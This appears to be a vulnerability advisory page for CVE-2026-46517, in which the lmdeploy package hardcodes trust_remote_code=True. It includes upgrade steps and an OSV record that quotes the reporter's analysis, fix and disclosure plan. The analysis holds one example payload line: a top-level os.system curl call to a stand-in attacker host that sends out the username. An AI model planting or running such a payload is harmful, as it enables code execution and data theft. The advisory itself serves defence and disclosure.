CVE-2026-46517: lmdeploy Hardcoded Trust_remote_code=True Is An Implicit Vulnerability
HIGHCVE-2026-46517 is a HIGH (CVSS 7.8) hardcoded trust_remote_code=true is an implicit vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting lmdeploy libraries in the PyPI ecosystem. The issue involves hardcoded trust_remote_code=true is an implicit unsafe remote-code load path with no user opt-out. Remediation is available by upgrading affected packages to version 0.13.0.
CVE-2026-46517 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-46517
To remediate this vulnerability, upgrade all affected lmdeploy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install lmdeploy>=0.13.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show lmdeploy
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-46517, inspect your installed packages using pip:
pip show lmdeploy
Analyze the terminal output to locate any version of lmdeploy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.13.0), your application is affected.
Note: The pip show lmdeploy command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In lmdeploy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46517 Affected lmdeploy Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
lmdeploy
|
PyPI |
< 0.13.0
|
0.13.0
|
References
Frequently Asked Questions
What is CVE-2026-46517?
Which lmdeploy versions are affected?
What version fixes CVE-2026-46517?
Is lmdeploy affected?
What is the CVSS score of CVE-2026-46517?
What CWE is associated with CVE-2026-46517?
How can I check PyPI dependencies for CVE-2026-46517?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9xq9-36w5-q796",
"modified" : "2026-08-31T14:33:46Z",
"published" : "2026-05-21T19:33:32Z",
"aliases" : [ "CVE-2026-46517" ],
"summary" : "lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out",
"details" : "> ## 📋 Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n>\n> The accurate description of this vulnerability is:\n> **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n> with no opt-out, creating an implicit unsafe remote-code load path\n> on every model fetch.\"**\n>\n> What this report does NOT claim:\n> * It is NOT a network-attack RCE — the user supplies the model\n> reference; LMDeploy honors it.\n> * It is NOT a \"supply chain\" CVE in the classical sense (where a\n> benign upstream is compromised) — the user explicitly types the\n> repo name.\n>\n> What this report DOES claim:\n> * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n> itself) all expose `--trust-remote-code` as **opt-in** so that\n> users who consciously load known-safe repos can opt in, while\n> users following a tutorial cannot accidentally execute attacker\n> Python by typing a wrong repo name.\n> * LMDeploy's hardcoded True is an **implicit** trust-boundary\n> override that violates HF Transformers' default-secure stance\n> (`trust_remote_code=False` since transformers ≥ 4.30).\n> * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n> False, threaded through the three sites, matching the rest of\n> the ecosystem.\n>\n> Severity should be assessed as **hardening / safe-by-default**,\n> not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n> (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` × user-must-load qualifier).\n>\n> Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 — LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source — there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers' own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers ≥ 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server <attacker_repo>`,\n`lmdeploy lite calibrate <attacker_repo>`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy — which is incompatible\nwith LMDeploy's documented use case.\n\nHuggingFace's `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues — e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n (2026-05-02).\n* Pinned blob SHAs:\n * `lmdeploy/archs.py` → `68fa03a407734be1e2ae04098d34e9acdbe98262`\n * `lmdeploy/lite/apis/calibrate.py` →\n `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n * `lmdeploy/lite/utils/load.py` →\n `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n * `lmdeploy/pytorch/check_env/model.py` →\n `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 — architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` — `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n \"\"\"Get a model's architecture and configuration.\"\"\"\n try:\n cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n except Exception as e: # noqa\n from transformers import PretrainedConfig\n cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 — quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate <repo>` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 — calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n ...\n hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 — pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` —\n`trust_remote_code: bool = True` is the default value for the engine's\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" — a determined caller can pass False — but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo's `config.json` contains an `auto_map` key\npointing to a custom `configuration_<name>.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file's\n top-level code** (any `print`, `os.system`, `subprocess.run`,\n `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n `lmdeploy serve api_server <some_repo>`.\n* CI pipelines that automatically pull a model from HF Hub by\n configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Severity\n\nCVSS v3.1 `AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` — **Base 7.8 High**.\n\n* AV:L — local (the user runs lmdeploy on their own host).\n* AC:L — single command.\n* PR:N — no privilege.\n* UI:R — user must invoke lmdeploy with the malicious repo. Minor\n qualifier: many users will type `lmdeploy serve api_server <repo>`\n trusting that lmdeploy implements basic safety.\n* C:H, I:H, A:H — full RCE on the user's machine; can read\n ~/.aws/credentials, exfiltrate data, persist, etc.\n\nIf the lmdeploy host is a multi-tenant inference platform (e.g. a\ncloud provider running lmdeploy as a service for multiple paying\ncustomers), the attack changes shape: any tenant who can pin a\ncustom model name in their tenancy gets RCE on the inference host\nand **scope changes to S:C** with cross-tenant impact. CVSS rises\nto 9.6+. We are **not** claiming this dimension here without\nruntime evidence; just flagging it for triage.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py — get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n try:\n cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n except Exception as e: # noqa\n from transformers import PretrainedConfig\n cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy's CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n GitHub Security Advisory at\n `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers' historical opt-out → opt-in\n change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** — the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate <repo>` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "lmdeploy"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.13.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.12.3"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46517"
}, {
"type" : "WEB",
"url" : "https://github.com/github/advisory-database/pull/4511"
}, {
"type" : "WEB",
"url" : "https://github.com/InternLM/lmdeploy/commit/81be52961aa324fd5cd3cacebffba1ba051bc107"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/InternLM/lmdeploy"
}, {
"type" : "WEB",
"url" : "https://github.com/InternLM/lmdeploy/blob/v0.13.0/lmdeploy/version.py"
}, {
"type" : "WEB",
"url" : "https://github.com/InternLM/lmdeploy/releases/tag/v0.13.0"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/lmdeploy/PYSEC-2026-2608.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1188", "CWE-915", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-21T19:33:32Z",
"nvd_published_at" : "2026-06-10T00:16:53Z"
}
}